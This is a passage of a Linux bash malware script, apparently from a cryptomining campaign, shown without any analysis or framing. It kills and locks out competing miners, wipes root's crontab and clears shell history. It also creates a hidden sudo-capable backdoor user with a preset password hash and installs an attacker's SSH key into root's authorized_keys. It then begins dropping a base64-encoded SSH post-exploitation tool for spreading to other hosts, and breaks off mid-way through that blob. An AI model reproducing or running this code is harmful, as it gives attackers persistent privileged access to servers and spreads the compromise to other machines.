  962. if [ -f /usr/sbin/cpumon ]; then
  963. cpumonxmr=("/usr/sbin/cpumon" "/usr/cpu")
  964. for cpumonfile in ${cpumonxmr[@]}; do
  965. chattr -i $cpumonfile 2>/dev/null 1>/dev/null
  966. tntrecht -i $cpumonfile 2>/dev/null 1>/dev/null
  967. rm -f $cpumonfile 2>/dev/null 1>/dev/null
  968. pkill -f $cpumonfile 2>/dev/null 1>/dev/null
  969. kill $(pidof $cpumonfile) 2>/dev/null 1>/dev/null
  970. echo $LOCKFILE | base64 -d > $cpumonfile
  971. chmod +x $cpumonfile 2>/dev/null 1>/dev/null
  972. chattr +i $cpumonfile 2>/dev/null 1>/dev/null
  973. tntrecht +i $cpumonfile 2>/dev/null 1>/dev/null
  974. pkill -f $cpumonfile 2>/dev/null 1>/dev/null
  975. kill $(pidof $cpumonfile) 2>/dev/null 1>/dev/null
  976. killall $cpumonfile 2>/dev/null 1>/dev/null
  977. done
  978. fi
  979.  
  980. if [ -f /opt/server ]; then
  981. chattr -i /opt/server 2>/dev/null 1>/dev/null
  982. tntrecht -i /opt/server 2>/dev/null 1>/dev/null
  983. rm -f /opt/server 2>/dev/null 1>/dev/null
  984. pkill -f /opt/server 2>/dev/null 1>/dev/null
  985. kill $(pidof /opt/server) 2>/dev/null 1>/dev/null
  986. fi
  987.  
  988. if [ -f /tmp/log_rotari ]; then
  989. chattr -i /tmp/log_rotari 2>/dev/null 1>/dev/null
  990. tntrecht -i /tmp/log_rotari 2>/dev/null 1>/dev/null
  991. rm -f /tmp/log_rotari 2>/dev/null 1>/dev/null
  992. pkill -f /tmp/log_rotari 2>/dev/null 1>/dev/null
  993. kill $(pidof /tmp/log_rotari) 2>/dev/null 1>/dev/null
  994. fi
  995.  
  996. BASH00=$(ps ax | grep -v grep | grep "/root/.tmp00/bash")
  997. if [ ! -z "$BASH00" ];
  998. then
  999. chattr -i /var/spool/cron/root 2>/dev/null 1>/dev/null
  1000. tntrecht -i /var/spool/cron/root 2>/dev/null 1>/dev/null
  1001. chmod 1777 /var/spool/cron/root 2>/dev/null 1>/dev/null
  1002. chmod -x /var/spool/cron/root 2>/dev/null 1>/dev/null
  1003. echo " " > /var/spool/cron/root 2>/dev/null 1>/dev/null
  1004. rm -f /var/spool/cron/root 2>/dev/null 1>/dev/null
  1005. chattr -i /root/.tmp00/bash 2>/dev/null 1>/dev/null
  1006. tntrecht -i /root/.tmp00/bash 2>/dev/null 1>/dev/null
  1007. chmod -x /root/.tmp00/bash 2>/dev/null 1>/dev/null
  1008. pkill -f /root/.tmp00/bash 2>/dev/null 1>/dev/null
  1009. kill $(ps ax | grep -v grep | grep "/root/.tmp00/bash" | awk '{print $1}') 2>/dev/null 1>/dev/null
  1010. kill $(pidof /root/.tmp00/bash) 2>/dev/null 1>/dev/null
  1011. echo " " > /root/.tmp00/bash 2>/dev/null 1>/dev/null
  1012. rm -f /root/.tmp00/bash 2>/dev/null 1>/dev/null
  1013. echo $StringToLock > /root/.tmp00/bash
  1014. chattr +i /root/.tmp00/bash 2>/dev/null 1>/dev/null
  1015. tntrecht +i /root/.tmp00/bash 2>/dev/null 1>/dev/null
  1016. history -c 2>/dev/null 1>/dev/null
  1017. fi
  1018.  
  1019. BASH6400=$(ps ax | grep -v grep | grep "/root/.tmp00/bash64")
  1020. if [ ! -z "$BASH6400" ];
  1021. then
  1022. chattr -i /var/spool/cron/root 2>/dev/null 1>/dev/null
  1023. tntrecht -i /var/spool/cron/root 2>/dev/null 1>/dev/null
  1024. chmod 1777 /var/spool/cron/root 2>/dev/null 1>/dev/null
  1025. chmod -x /var/spool/cron/root 2>/dev/null 1>/dev/null
  1026. echo " " > /var/spool/cron/root 2>/dev/null 1>/dev/null
  1027. rm -f /var/spool/cron/root 2>/dev/null 1>/dev/null
  1028. chattr -i /root/.tmp00/bash64 2>/dev/null 1>/dev/null
  1029. tntrecht -i /root/.tmp00/bash64 2>/dev/null 1>/dev/null
  1030. chmod -x /root/.tmp00/bash64 2>/dev/null 1>/dev/null
  1031. pkill -f /root/.tmp00/bash64 2>/dev/null 1>/dev/null
  1032. kill $(ps ax | grep -v grep | grep "/root/.tmp00/bash64" | awk '{print $1}') 2>/dev/null 1>/dev/null
  1033. kill $(pidof /root/.tmp00/bash64) 2>/dev/null 1>/dev/null
  1034. echo " " > /root/.tmp00/bash64 2>/dev/null 1>/dev/null
  1035. rm -f /root/.tmp00/bash64 2>/dev/null 1>/dev/null
  1036. echo $StringToLock > /root/.tmp00/bash64
  1037. chattr +i /root/.tmp00/bash64 2>/dev/null 1>/dev/null
  1038. tntrecht +i /root/.tmp00/bash64 2>/dev/null 1>/dev/null
  1039. history -c 2>/dev/null 1>/dev/null
  1040. fi
  1041.  
  1042. KINSING1=$(ps ax | grep -v grep | grep "/var/tmp/kinsing")
  1043. if [ ! -z "$KINSING1" ];
  1044. then
  1045. chattr -i /var/tmp/kinsing 2>/dev/null 1>/dev/null
  1046. tntrecht -i /var/tmp/kinsing 2>/dev/null 1>/dev/null
  1047. chmod -x /var/tmp/kinsing 2>/dev/null 1>/dev/null
  1048. pkill -f /var/tmp/kinsing 2>/dev/null 1>/dev/null
  1049. kill $(ps ax | grep -v grep | grep "/var/tmp/kinsing" | awk '{print $1}') 2>/dev/null 1>/dev/null
  1050. kill $(pidof /var/tmp/kinsing) 2>/dev/null 1>/dev/null
  1051. echo " " > /var/tmp/kinsing 2>/dev/null 1>/dev/null
  1052. rm -f /var/tmp/kinsing 2>/dev/null 1>/dev/null
  1053. echo $StringToLock > /var/tmp/kinsing
  1054. chattr +i /var/tmp/kinsing 2>/dev/null 1>/dev/null
  1055. tntrecht +i /var/tmp/kinsing 2>/dev/null 1>/dev/null
  1056. history -c 2>/dev/null 1>/dev/null
  1057. fi
  1058.  
  1059. KINSING2=$(ps ax | grep -v grep | grep "/tmp/kdevtmpfsi")
  1060. if [ ! -z "$KINSING2" ];
  1061. then
  1062. chattr -i /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null
  1063. tntrecht -i /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null
  1064. chmod -x /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null
  1065. pkill -f /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null
  1066. kill $(ps ax | grep -v grep | grep "/tmp/kdevtmpfsi" | awk '{print $1}') 2>/dev/null 1>/dev/null
  1067. kill $(pidof /tmp/kdevtmpfsi) 2>/dev/null 1>/dev/null
  1068. echo " " > /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null
  1069. rm -f /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null
  1070. echo $StringToLock > /tmp/kdevtmpfsi
  1071. chattr +i /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null
  1072. tntrecht +i /tmp/kdevtmpfsi 2>/dev/null 1>/dev/null
  1073. history -c 2>/dev/null 1>/dev/null
  1074. fi
  1075.  
  1076. kill $(ps aux | grep -vw kswapd0 | grep -v grep |grep -v scan | grep -vw "/usr/bin/xmrigMiner" | grep -vw "./shell" | awk '{if($3>40.0) print $2}')
  1077.  
  1078. }
  1079.  
  1080. function makesshaxx(){
  1081. echo "begin makessh"
  1082. RSAKEY="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmEFN80ELqVV9enSOn+05vOhtmmtuEoPFhompw+bTIaCDsU5Yn2yD77Yifc/yXh3O9mg76THr7vxomguO040VwQYf9+vtJ6CGtl7NamxT8LYFBgsgtJ9H48R9k6H0rqK5Srdb44PGtptZR7USzjb02EUq/15cZtfWnjP9pKTgscOvU6o1Jpos6kdlbwzNggdNrHxKqps0so3GC7tXv/GFlLVWEqJRqAVDOxK4Gl2iozqxJMO2d7TCNg7d3Rr3w4xIMNZm49DPzTWQcze5XciQyNoNvaopvp+UlceetnWxI1Kdswi0VNMZZOmhmsMAtirB3yR10DwH3NbEKy+ohYqBL root@puppetserver"
  1083. grep -q hilde /etc/passwd || chattr -ia /etc/passwd;
  1084. grep -q hilde /etc/passwd || tntrecht -ia /etc/passwd;
  1085. grep -q hilde /etc/passwd || echo 'hilde:x:1000:1000::/home/hilde:/bin/bash' >> /etc/passwd; chattr +ia /etc/passwd; tntrecht +ia /etc/passwd
  1086. grep -q hilde /etc/shadow || chattr -ia /etc/shadow;
  1087. grep -q hilde /etc/shadow || tntrecht -ia /etc/shadow;
  1088. grep -q hilde /etc/shadow || echo 'hilde:$6$7n/iy4R6znS2iq0J$QjcECLSqMMiUUeHR4iJmkHLzAwgoNRhCC87HI3df95nZH5569TKwJEN2I/lNanPe0vhsdgfILPXedlWlZn7lz0:18461:0:99999:7:::' >> /etc/shadow; chattr +ia /etc/shadow; tntrecht +ia /etc/shadow
  1089. grep -q hilde /etc/sudoers || chattr -ia /etc/sudoers;
  1090. grep -q hilde /etc/sudoers || tntrecht -ia /etc/sudoers;
  1091. grep -q hilde /etc/sudoers || echo 'hilde ALL=(ALL:ALL) ALL' >> /etc/sudoers; chattr +i /etc/sudoers; tntrecht +i /etc/sudoers
  1092.  
  1093. mkdir /home/hilde/.ssh/ -p
  1094. touch /home/hilde/.ssh/authorized_keys
  1095. touch /home/hilde/.ssh/authorized_keys2
  1096. chmod 600 /home/hilde/.ssh/authorized_keys
  1097. chmod 600 /home/hilde/.ssh/authorized_keys2
  1098. grep -q root@puppetserver /home/hilde/.ssh/authorized_keys || chattr -ia /home/hilde/.ssh/authorized_keys;
  1099. grep -q root@puppetserver /home/hilde/.ssh/authorized_keys || tntrecht -ia /home/hilde/.ssh/authorized_keys;
  1100. grep -q root@puppetserver /home/hilde/.ssh/authorized_keys || echo $RSAKEY > /home/hilde/.ssh/authorized_keys; chattr +ia /home/hilde/.ssh/authorized_keys; tntrecht +ia /home/hilde/.ssh/authorized_keys;
  1101. grep -q root@puppetserver /home/hilde/.ssh/authorized_keys2 || chattr -ia /home/hilde/.ssh/authorized_keys2;
  1102. grep -q root@puppetserver /home/hilde/.ssh/authorized_keys2 || tntrecht -ia /home/hilde/.ssh/authorized_keys2;
  1103. grep -q root@puppetserver /home/hilde/.ssh/authorized_keys2 || echo $RSAKEY > /home/hilde/.ssh/authorized_keys2; chattr +ia /home/hilde/.ssh/authorized_keys2; tntrecht +ia /home/hilde/.ssh/authorized_keys2;
  1104. mkdir /root/.ssh/ -p
  1105. touch /root/.ssh/authorized_keys
  1106. touch /root/.ssh/authorized_keys2
  1107. chmod 600 /root/.ssh/authorized_keys
  1108. chmod 600 /root/.ssh/authorized_keys2
  1109. grep -q root@puppetserver /root/.ssh/authorized_keys || chattr -ia /root/.ssh/authorized_keys;
  1110. grep -q root@puppetserver /root/.ssh/authorized_keys || tntrecht -ia /root/.ssh/authorized_keys;
  1111. grep -q root@puppetserver /root/.ssh/authorized_keys || echo $RSAKEY >> /root/.ssh/authorized_keys; chattr +ia /root/.ssh/authorized_keys; tntrecht +ia /root/.ssh/authorized_keys
  1112. grep -q root@puppetserver /root/.ssh/authorized_keys2 || chattr -ia /root/.ssh/authorized_keys2;
  1113. grep -q root@puppetserver /root/.ssh/authorized_keys2 || tntrecht -ia /root/.ssh/authorized_keys2;
  1114. grep -q root@puppetserver /root/.ssh/authorized_keys2 || echo $RSAKEY > /root/.ssh/authorized_keys2; chattr +ia /root/.ssh/authorized_keys2; tntrecht +ia /root/.ssh/authorized_keys2
  1115. }
  1116.  
  1117. function CreateSshPunker(){
  1118. if [ ! -f "/usr/bin/pu"]
  1119. then
  1120. echo 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCiMgLSotIGNvZGluZzogdXRmLTggLSotCiMKIyAgICAgICAgICAgICB8CiMgICAgICAgICAgXCAgIHwgICAvCiMgICAgIC4gICAgIFwgIHwgIC8gICAgLgojICAgICAgYC0uX198XC9fXC98Xy4tJwojICAgIC5fXyAgXCAvICAgICBgLi8gIAojICAgICAgIGAtICAgICAgICBAfAojICAgICAgLi0nYC4gICEhICAgIC0gICBwdW5rLnB5IC0gdW5peCBTU0ggcG9zdC1leHBsb2l0YXRpb24gMTMzNyB0b29sCiMgICAgICcgICAgIGAgICEgIF9fLicgIENvcHlyaWdodCAoQykgMjAxOCA8IEdpdXNlcHBlIGByM3ZuYCBDb3J0aSA+CiMgICAgICAgICAgIF8pX19fKCAgICAgIGh0dHBzOi8veGZpbHRyYXRlZC5jb20KIwojIFRoaXMgcHJvZ3JhbSBpcyBmcmVlIHNvZnR3YXJlOiB5b3UgY2FuIHJlZGlzdHJpYnV0ZSBpdCBhbmQvb3IgbW9kaWZ5CiMgaXQgdW5kZXIgdGhlIHRlcm1zIG9mIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBhcyBwdWJsaXNoZWQgYnkKIyB0aGUgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uLCBlaXRoZXIgdmVyc2lvbiAzIG9mIHRoZSBMaWNlbnNlLCBvcgojIChhdCB5b3VyIG9wdGlvbikgYW55IGxhdGVyIHZlcnNpb24uCiMKIyBUaGlzIHByb2dyYW0gaXMgZGlzdHJpYnV0ZWQgaW4gdGhlIGhvcGUgdGhhdCBpdCB3aWxsIGJlIHVzZWZ1bCwKIyBidXQgV0lUSE9VVCBBTlkgV0FSUkFOVFk7IHdpdGhvdXQgZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50eSBvZgojIE1FUkNIQU5UQUJJTElUWSBvciBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9TRS4gIFNlZSB0aGUKIyBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBmb3IgbW9yZSBkZXRhaWxzLgojCiMgWW91IHNob3VsZCBoYXZlIHJlY2VpdmVkIGEgY29weSBvZiB0aGUgR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UKIyBhbG9uZyB3aXRoIHRoaXMgcHJvZ3JhbS4gIElmIG5vdCwgc2VlIDxodHRwOi8vd3d3LmdudS5vcmcvbGljZW5zZXMvPi4KCmltcG9ydCBvcwppbXBvcnQgc3lzCmltcG9ydCB0aHJlYWRpbmcKaW1wb3J0IGFyZ3BhcnNlCmltcG9ydCBiYXNlNjQKaW1wb3J0IGhhc2hsaWIKaW1wb3J0IHJlCmltcG9ydCBzb2NrZXQKaW1wb3J0IHN0cnVjdAppbXBvcnQgaG1hYwppbXBvcnQgYmluYXNjaWkKCnRyeTogCiAgICBpbXBvcnQgcXVldWUgYXMgcXVldWUKZXhjZXB0IEltcG9ydEVycm9yOgogICAgaW1wb3J0IFF1ZXVlIGFzIHF1ZXVlCgoKaG9tZXNCbGFja2xpc3QgPSBbIi9kZXYvbnVsbCIsIi92YXIvZW1wdHkiLCIvYmluIiwiL3NiaW4iXQpzaGVsbEJsYWNrbGlzdCA9IFsiL3NiaW4vbm9sb2dpbiIsIi9iaW4vZmFsc2UiLCIvdXNyL3NiaW4vbm9sb2dpbiIsIi9iaW4vc3luYyJdCmtub3duSG9zdHMgICAgID0gW10Kc3VjY2VzcyAgICAgICAgPSBbXQp1c2VycyAgICAgICAgICA9IFtdCnNzaEtleXMgICAgICAgID0gW10KCiAgIApjbGFzcyBTU0hUaHJlYWQodGhyZWFkaW5nLlRocmVhZCkgOgogCglkZWYgX19pbml0X18oc2VsZiwgcSwgdGlkLCBjcmVkZW50aWFscywgQ01EPSIiKSA6CgkJdGhyZWFkaW5nLlRocmVhZC5fX2luaXRfXyhzZWxmKQoJCXNlbGYucXVldWUgPSBxCgkJc2VsZi50aWQgPSB0aWQKCQlzZWxmLmNyZWRlbnRpYWxzID0gY3JlZGVudGlhbHMKIAoJZGVmIHJ1bihzZWxmKSA6CgkJd2hpbGUgVHJ1ZSA6CgkJCWhvc3QgPSBOb25lIAoJCQl0cnkgOgoJCQkJaG9zdCA9IHNlbGYucXVldWUuZ2V0KHRpbWVvdXQ9MSkKIAoJCQlleGNlcHQgCXF1ZXVlLkVtcHR5IDoKCQkJCXJldHVybgogCgkJCQoJCQlmb3IgdXNlciBpbiB1c2VyczoKCQkJCWZvciBrZXlzIGluIHNzaEtleXM6CgkJCQkJdHJ5OgoJCQkJCQlpZiBpbnQob3Muc3lzdGVtKCJzc2ggLW9CYXRjaE1vZGU9eWVzIC1vU3RyaWN0SG9zdEtleUNoZWNraW5nPW5vIC1vUGFzc3dvcmRBdXRoZW50aWNhdGlvbj1ubyAtb0Nvbm5lY3RUaW1lb3V0PTggJXNAJXMgLWkgJXMgLXEgZXhpdCIgJSAodXNlcixob3N0LGtleSApKSkgPT0gMDoKCQkJCQkJCXNlbGYuY3JlZGVudGlhbHMucHV0KHVzZXIrIjoiK2hvc3QrIjoiK2tleSkKCgkJCQkJCQlpZiB1c2VyKyI6Iitob3N0KyI6IitrZXkgbm90IGluIHN1Y2Nlc3M6CgkJCQkJCQkJc3lzLnN0ZG91dC53cml0ZSAoIlwwMzNbOTJtWypdXDAzM1swbSBHb3QgXDAzM1s5Mm0lc0Alc1wwMzNbMG0gd2l0aCBcMDMzWzkybVwiJXNcIlwwMzNbMG0ga2V5LlxuIiAlICh1c2VyLGhvc3Qsa2V5KSkKCQkJCQkJCQlzdWNjZXNzLmFwcGVuZCh1c2VyKyI6Iitob3N0KyI6IitrZXkpCgkJCQkJCQkKCQkJCQkJCWlmIENNRCAhPSAnJzoKCQkJCQkJCQlzeXMuc3Rkb3V0LndyaXRlICgiXDAzM1s5Mm1bKl1cMDMzWzBtIEV4ZWN1dGluZyBcMDMzWzkybSVzXDAzM1swbS5cbiIgJSAoQ01EKSkKCQkJCQkJCQlvcy5zeXN0ZW0oInNzaCAtb0JhdGNoTW9kZT15ZXMgLW9TdHJpY3RIb3N0S2V5Q2hlY2tpbmc9bm8gLW9QYXNzd29yZEF1dGhlbnRpY2F0aW9uPW5vIC1vQ29ubmVjdFRpbWVvdXQ9OCAlc0AlcyAtaSAlcyAtcSAtdCBcIiVzXCIgIiAlICh1c2VyLGhvc3Qsa2V5LENNRCkpCgkJCQkJZXhjZXB0OgoJCQkJCQlwYXNzCiAKIAoJCQlzZWxmLnF1ZXVlLnRhc2tfZG9uZSgpCgoKY2xhc3MgQ3JhY2tUaHJlYWQodGhyZWFkaW5nLlRocmVhZCkgOgogCglkZWYgX19pbml0X18oc2VsZiwgcSwgdGlkLCBpcHMsIG1hZ2ljLCBzYWx0LCBoYXNoZWQpIDoKCQl0aHJlYWRpbmcuVGhyZWFkLl9faW5pdF9fKHNlbGYpCgkJc2VsZi5xdWV1ZSAgPSBxCgkJc2VsZi50aWQgICAgPSB0aWQKCQlzZWxmLmlwcyAgICA9IGlwcwoJCXNlbGYubWFnaWMgID0gbWFnaWMKCQlzZWxmLnNhbHQgICA9IGJhc2U2NC5iNjRkZWNvZGUoc2FsdCkKCQlzZWxmLmhhc2hlZCA9IGhhc2hlZAoKIAoJZGVmIHJ1bihzZWxmKSA6CgkJd2hpbGUgVHJ1ZSA6CgkJCWhvc3QgPSBOb25lIAoJCQl0cnkgOgoJCQkJaXBfdHJ5ID0gc2VsZi5xdWV1ZS5nZXQodGltZW91dD0xKQogCgkJCWV4Y2VwdCAJcXVldWUuRW1wdHkgOgoJCQkJcmV0dXJuCgoKCQkJaCA9IGhtYWMubmV3KHNlbGYuc2FsdCwgbXNnPWlwX3RyeS5lbmNvZGUoKSwgZGlnZXN0bW9kPWhhc2hsaWIuc2hhMSkgIyBGSVhNRQoJCQlpcF9oYXNoID0gYmFzZTY0LmI2NGVuY29kZShoLmRpZ2VzdCgpKS5kZWNvZGUoKQoKCgkJCWlmIGlwX2hhc2ggPT0gc2VsZi5oYXNoZWQ6CgkJCQlrbm93bkhvc3RzLmFwcGVuZChpcF90cnkpCgkJCQlzeXMuc3Rkb3V0LndyaXRlICgiXDAzM1s5Mm1bKl1cMDMzWzBtIEZvdW5kIFwwMzNbOTJtJXNcMDMzWzBtXG4iICUgKGlwX3RyeSkpCgoJCQkjc3lzLnN0ZG91dC53cml0ZSAoIlxuLS0tLS1cbmlwOiAiK2lwX3RyeSsiXG4gc2FsdDogIitzZWxmLnNhbHQuZGVjb2RlKCkrIlxuIG91dHB1dDogIitpcF9oYXNoKyJcbnRhcmdldDogIitzZWxmLmhhc2hlZCkKCgkJCXNlbGYucXVldWUudGFza19kb25lKCkKCgpjbGFzcyBhdHRhY2sob2JqZWN0KToKCglkZWYgX19pbml0X18oc2VsZiwgY21kLCB0aHJlYWRzKToKCQlzZWxmLmNtZCA9IGNtZAoJCXNlbGYudGhyZWFkcyA9IHRocmVhZHMKCglkZWYgcnVuKHNlbGYpOgoKCQlxICAgICAgICAgICA9IHF1ZXVlLlF1ZXVlKCkKCQljcmVkZW50aWFscyA9IHF1ZXVlLlF1ZXVlKCkKCgkJdGhyZWFkcyA9IFtdCgkJZm9yIGkgaW4gcmFuZ2UoMSwgc2VsZi50aHJlYWRzKSA6ICMgTnVtYmVyIG9mIHRocmVhZHMKCQkJd29ya2VyID0gU1NIVGhyZWFkKHEsIGksIGNyZWRlbnRpYWxzLCBzZWxmLmNtZCkgCgkJCXdvcmtlci5zZXREYWVtb24oVHJ1ZSkKCQkJd29ya2VyLnN0YXJ0KCkKCQkJdGhyZWFkcy5hcHBlbmQod29ya2VyKQoKCQlmb3IgaG9zdCBpbiBrbm93bkhvc3RzOgoJCQlxLnB1dChob3N0KQoKCQlxLmpvaW4oKQoJCSAKCQkjIHdhaXQgZm9yIGFsbCB0aHJlYWRzIHRvIGV4aXQgCgkJaWYgbm90IGNyZWRlbnRpYWxzLmVtcHR5KCk6CgkJCW91dCA9IChjcmVkZW50aWFscy5nZXQoKSkuc3BsaXQoIjoiKQoJCWVsc2U6CgkJCXJldHVybiBGYWxzZQoJCSAKCQlmb3IgaXRlbSBpbiB0aHJlYWRzIDoKCQkJaXRlbS5qb2luKCkKCgkJcmV0dXJuIG91dFswXSwgb3V0WzFdICMgT3V0cHV0IGF0dGFjazogdXNlciwgaG9zdAoKCgoKCmNsYXNzIGNyYWNrX2hvc3Qob2JqZWN0KToKCglkZWYgX19pbml0X18oc2VsZiwgaG9zdF9zdHJpbmcsIHN1Ym5ldCwgdGhyZWFkcyk6CgkJIiIiIGNyYWNrIGFuIGVuY3J5cHRlZCBrbm93biBob3N0ICIiIgoKCQlzZWxmLm1hZ2ljICAgPSBob3N0X3N0cmluZy5zcGxpdCgifCIpWzFdCgkJc2VsZi5zYWx0ICAgID0gaG9zdF9zdHJpbmcuc3BsaXQoInwiKVsyXQoJCXNlbGYuaGFzaGVkICA9IGhvc3Rfc3RyaW5nLnNwbGl0KCJ8IilbM10uc3BsaXQoIiAiKVswXQoJCXNlbGYuc3VibmV0ICA9IHN1Ym5ldCAjIFRPRE8KCQlzZWxmLnRocmVhZHMgPSB0aHJlYWRzCgoJZGVmIHJ1bihzZWxmKToKCgkJcSAgICAgICAgICAgPSBxdWV1ZS5RdWV1ZSgpCgkJaXBzICAgICAgICAgPSBxdWV1ZS5RdWV1ZSgpCgoJCXRocmVhZHMgPSBbXQoJCWZvciBpIGluIHJhbmdlKDEsIHNlbGYudGhyZWFkcykgOiAjIE51bWJlciBvZiB0aHJlYWRzCgkJCXdvcmtlciA9IENyYWNrVGhyZWFkKHEsIGksIGlwcywgc2VsZi5tYWdpYywgc2VsZi5zYWx0LCBzZWxmLmhhc2hlZCkgCgkJCXdvcmtlci5zZXREYWVtb24oVHJ1ZSkKCQkJd29ya2VyLnN0YXJ0KCkKCQkJdGhyZWFkcy5hcHBlbmQod29ya2VyKQoKCQlmb3IgaG9zdCBpbiBpcHY0X3JhbmdlKHNlbGYuc3VibmV0KTogIyBUT0RPCgkJCXEucHV0KHN0cihob3N0KSkgICAgICAgICAgICAgICMgVE9ETwoKCQlxLmpvaW4oKQoJCSAKCQkjIHdhaXQgZm9yIGFsbCB0aHJlYWRzIHRvIGV4aXQgCgkJaWYgbm90IGlwcy5lbXB0eSgpOgoJCQlvdXQgPSAoaXBzLmdldCgpKS5zcGxpdCgiOiIpCgkJZWxzZToKCQkJcmV0dXJuIEZhbHNlCgkJIAoJCWZvciBpdGVtIGluIHRocmVhZHMgOgoJCQlpdGVtLmpvaW4oKQoKCQlyZXR1cm4gb3V0WzBdLCBvdXRbMV0gIyBPdXRwdXQgYXR0YWNrOiB1c2VyLCBob3N0CgpkZWYgZGlzY292ZXJ5KGFyZ3MpOgoJIyBTZWFyY2ggdXNlcnMsIFNTSCBrZXlzIGFuZCBrbm93biBob3N0cwoKCWlmIGFyZ3MucGFzc3dkOgoJCSMgR2V0IHVzZXJzIGFuZCBob21lIHBhdGhzIGZyb20gcGFzc3dkCgkJRiA9IG9wZW4oIi9ldGMvcGFzc3dkIiwncicpCgoJCWZvciBsaW5lIGluIEY6CgkJCWlmIG5vdCBsaW5lLnN0YXJ0c3dpdGgoJyMnKTogIyBza2lwIGNvbW1lbnRzCgoJCQkJdXNlciAgPSBsaW5lLnNwbGl0KCI6IilbMF0KCQkJCWhvbWUgID0gbGluZS5zcGxpdCgiOiIpWzVdCgkJCQlzaGVsbCA9IGxpbmUuc3BsaXQoIjoiKVs2XS5yZXBsYWNlKCJcbiIsIiIpCgoJCQkJaWYgaG9tZSBub3QgaW4gaG9tZXNCbGFja2xpc3QgYW5kIHNoZWxsIG5vdCBpbiBzaGVsbEJsYWNrbGlzdDoKCgkJCQkJdXNlcnMuYXBwZW5kKHVzZXIpCgoJCQkJCSNjb2xsZWN0IGtub3duIGhvc3RzCgkJCQkJaWYgb3MucGF0aC5pc2ZpbGUoaG9tZSArICIvLnNzaC9rbm93bl9ob3N0cyIpOgoJCQkJCQlGSyA9IG9wZW4oaG9tZSArICIvLnNzaC9rbm93bl9ob3N0cyIpCgkJCQkJCWVuY3J5cHRlZF9rbm93bmhvc3RzID0gRmFsc2UKCgkJCQkJCWZvciBob3N0IGluIEZLOgoJCQkJCQkJaWYgbm90IGhvc3QuZmluZCgifCIpID49IDA6ICMgc2VjdXJlIGtub3duX2hvc3RzCgkJCQkJCQkJaWYgaG9zdC5maW5kKCIsIikgPj0gMDoKCQkJCQkJCQkJaG9zdG5hbWUgPSBob3N0LnNwbGl0KCIgIilbMF0uc3BsaXQoIiwiKVsxXQoJCQkJCQkJCWVsc2U6CgkJCQkJCQkJCWhvc3RuYW1lID0gaG9zdC5zcGxpdCgiICIpWzBdCgkJCQkJCQkJaWYgaG9zdG5hbWUgbm90IGluIGtub3duSG9zdHM6CgkJCQkJCQkJCWtub3duSG9zdHMuYXBwZW5kKGhvc3RuYW1lKQoJCQkJCQkJZWxzZToKCQkJCQkJCQllbmNyeXB0ZWRfa25vd25ob3N0cyA9IFRydWUKCQkJCQkJCQkJCgoJCQkJCQlpZiBlbmNyeXB0ZWRfa25vd25ob3N0cyBhbmQgYXJncy5jcmFjayA9PSAiIjoKCQkJCQkJCXN5cy5zdGRvdXQud3JpdGUgKCJcMDMzWzkzbVshXVwwMzNbMG0gRW5jcnlwdGVkIGtub3duIGhvc3QgYXQgXDAzM1s5M20lcy8uc3NoL2tub3duX2hvc3RzXDAzM1swbVxuIiAlIGhvbWUgKQoJCQkJCQkJc3lzLnN0ZG91dC53cml0ZSAoIlwwMzNbOTNtWyFdXDAzM1swbSBSdW4gd2l0aCBcMDMzWzkzbS0tY3JhY2tcMDMzWzBtIGZsYWcgdG8gYnJlYWsgaXRcbiIpCgoJCQkJCQllbGlmIGVuY3J5cHRlZF9rbm93bmhvc3RzIGFuZCBhcmdzLmNyYWNrICE9ICIiOgoJCQkJCQkJIyBjcmFjayB0aGUgaGFzaGVkIGtub3duIGhvc3RzCgkJCQkJCQlzeXMuc3Rkb3V0LndyaXRlICgiXDAzM1s5Mm1bKl1cMDMzWzBtIENyYWNraW5nIGtub3duIGhvc3RzIG9uIFwwMzNbOTJtJXMvLnNzaC9rbm93bl9ob3N0cy4uLlwwMzNbMG1cbiIgJSBob21lICkKCQkJCQkJCUZLID0gb3Blbihob21lICsgIi8uc3NoL2tub3duX2hvc3RzIikKCQkJCQkJCWZvciBob3N0IGluIEZLOgoJCQkJCQkJCWlmIGhvc3QuZmluZCgifCIpID49IDA6CgkJCQkJCQkJCWNyYWNrX29iaiA9IGNyYWNrX2hvc3QoaG9zdCwgYXJncy5jcmFjaywgYXJncy50aHJlYWRzKQoJCQkJCQkJCQljcmFja19vYmoucnVuKCkKCQkJCQkJCSNzeXMuc3Rkb3V0LndyaXRlICgiXDAzM1s5Mm1bKl1cMDMzWzBtIENyYWNraW5nIGRvbmUuXG4iKQoKCQkJCQkJRksuY2xvc2UoKQoKCQkJCQkjIGNoZWNrIHVzZXJzIHdpdGggcHJpdmF0ZSBrZXlzCgkJCQkJaWYgb3MucGF0aC5pc2ZpbGUoaG9tZSArICIvLnNzaC9pZF9yc2EiKTogCgkJCQkJCSN0YXJnZXRzW3VzZXJdPWhvbWUgKyAiLy5zc2gvaWRfcnNhIiAgIyB1c2VybmFtZSBhbmQgaG9tZSBkaXIKCQkJCQkJaWYgaG9tZSsiLy5zc2gvaWRfcnNhIiBub3QgaW4gc3NoS2V5czoKCQkJCQkJCXNzaEtleXMuYXBwZW5kKGhvbWUgKyAiLy5zc2gvaWRfcnNhIikKCQlGLmNsb3NlKCkKCgkjIGhvbWUgZGlyZWN0b3J5IHNjYW4KCWZvciBob21lcyBpbiBvcy5saXN0ZGlyKGFyZ3MuaG9tZSk6CgkJaWYgaG9tZXMgbm90IGluIHVzZXJzOgoKCQkJdXNlcnMuYXBwZW5kKGhvbWVzKQoKCQkJaWYgb3MucGF0aC5pc2ZpbGUoYXJncy5ob21lK2hvbWVzICsgIi8uc3NoL2lkX3JzYSIpOgoJCQkJI3RhcmdldHNbaG9tZXNdID0gaG9tZXMgKyAiLy5zc2gvaWRfcnNhIgoJCQkJaWYgYXJncy5ob21lK2hvbWV